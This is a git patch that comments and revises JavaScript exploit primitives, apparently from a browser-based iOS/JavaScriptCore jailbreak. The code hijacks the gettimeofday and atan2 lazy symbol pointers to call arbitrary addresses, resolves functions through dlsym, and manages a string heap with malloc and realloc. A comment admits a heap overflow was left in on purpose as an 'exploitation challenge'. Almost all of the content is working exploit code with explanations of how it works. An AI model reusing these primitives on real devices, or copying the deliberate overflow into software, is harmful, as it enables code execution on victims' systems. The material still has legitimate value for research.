From 4e1a80ff13dde0a3f39015db2f920cb8021d82b0 Mon Sep 17 00:00:00 2001 From: spv420 Date: Sat, 23 Apr 2022 18:35:23 -0400 Subject: comments and better sptr code --- src/js/primitives/call.js | 40 ++++++++++++++++++++++++++++++++++++++++ src/js/primitives/mem.js | 19 +++++++++++++++++-- 2 files changed, 57 insertions(+), 2 deletions(-) (limited to 'src/js/primitives') diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index c766b1a..b1b9f98 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -6,18 +6,51 @@ var base = 0x0; //var slid = 0x0; function get_dyld_shc_slide() { + /* + * ROP chain places dyld shc slide at slide + reserve_addr + 20 + * + * shift by 12 bits bc slide is just the slide byte, whereas shit is slid + * by the slide byte shifted by 12 bits + */ return read_u32((slide << 12) + reserve_addr + 20); } function call(addy) { + /* + * this prim is shit + * the idea is that the gettimeofday_lazy_addy contains the lazy symbol + * address of gettimeofday for jsc, whos value will be jumped to when + * calling gettimeofday + * + * overwrite the lazy symbol address with where we want to jump, then make + * a new date object, which will call gettimeofday to give it the current + * date and time. + * + * then put it back to the original address so it will work properly + * + * multithreading be damned + */ var dyld_shc_slide = get_dyld_shc_slide(); var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide); + write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy); var d = new Date(); write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp); } function call4arg(addy, r0, r1, r2, r3) { + /* + * same idea as call, but now we use atan2, which gets 2 double arguments. + * a double is 64-bits, so it's passed as 2 registers. + * 2 double args are then the full r0-r3 for args passed on the stack, + * assuming 32-bit args. + * + * so, convert r0-r3 to the doubles they need to be, overwrite, and call. + * + * the first double has the low 4-bytes passed in r0, the high 4 in r1. + * second has low 4 passed in r2, high 4 passed in r3. + */ + var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8)); var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8)); @@ -38,6 +71,9 @@ function call4arg(addy, r0, r1, r2, r3) { delete arg1d; delete arg2d; + /* + * >>> 0 makes sure it's a regular uint32_t + */ return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0; } @@ -45,6 +81,10 @@ function call4arg(addy, r0, r1, r2, r3) { * call with symbol */ function calls4arg(sym, r0, r1, r2, r3) { + /* + * this calls dlsym with the first arg, then uses the address it returns + * to call. so you can call with a symbol name instead of an address + */ var dlsym_addy = read_u32(reserve_addr + 24 + slid); var shc_slide = read_u32(reserve_addr + 20 + slid); var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0); diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index 6c30376..b0746b4 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -153,7 +153,14 @@ function write_str(addy, s) { return s; } +/* + * initialize sptr 'heap', which is used to store the strings created by sptr. + */ function init_sptr_heap() { + /* + * this creates a "heap" of-sorts for sptr, which is used to store the + * strings created by sptr. + */ var dlsym_addy = read_u32(reserve_addr + 24 + slid); var shc_slide = read_u32(reserve_addr + 20 + slid); write_str(0x150000, "malloc\0"); @@ -173,12 +180,20 @@ function init_sptr_heap() { */ function sptr(s) { if ((sptr_len + s.length) >= sptr_size) { + /* + * expand sptr heap if it's too small + * this will technically fail if the string is over 1MB, and will then + * cause a heap overflow, but eh whatever + * + * sometimes it's fun to include esoteric bugs that are unlikely to + * cause real harm, to add an exploitation challenge. :P + */ var dlsym_addy = read_u32(reserve_addr + 24 + slid); var shc_slide = read_u32(reserve_addr + 20 + slid); write_str(0x150000, "realloc\0"); - var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); - global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0); sptr_size += 0x100000; + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size, 0, 0); } write_str(global_sptr_addy, s); global_sptr_addy += s.length; -- cgit v1.2.3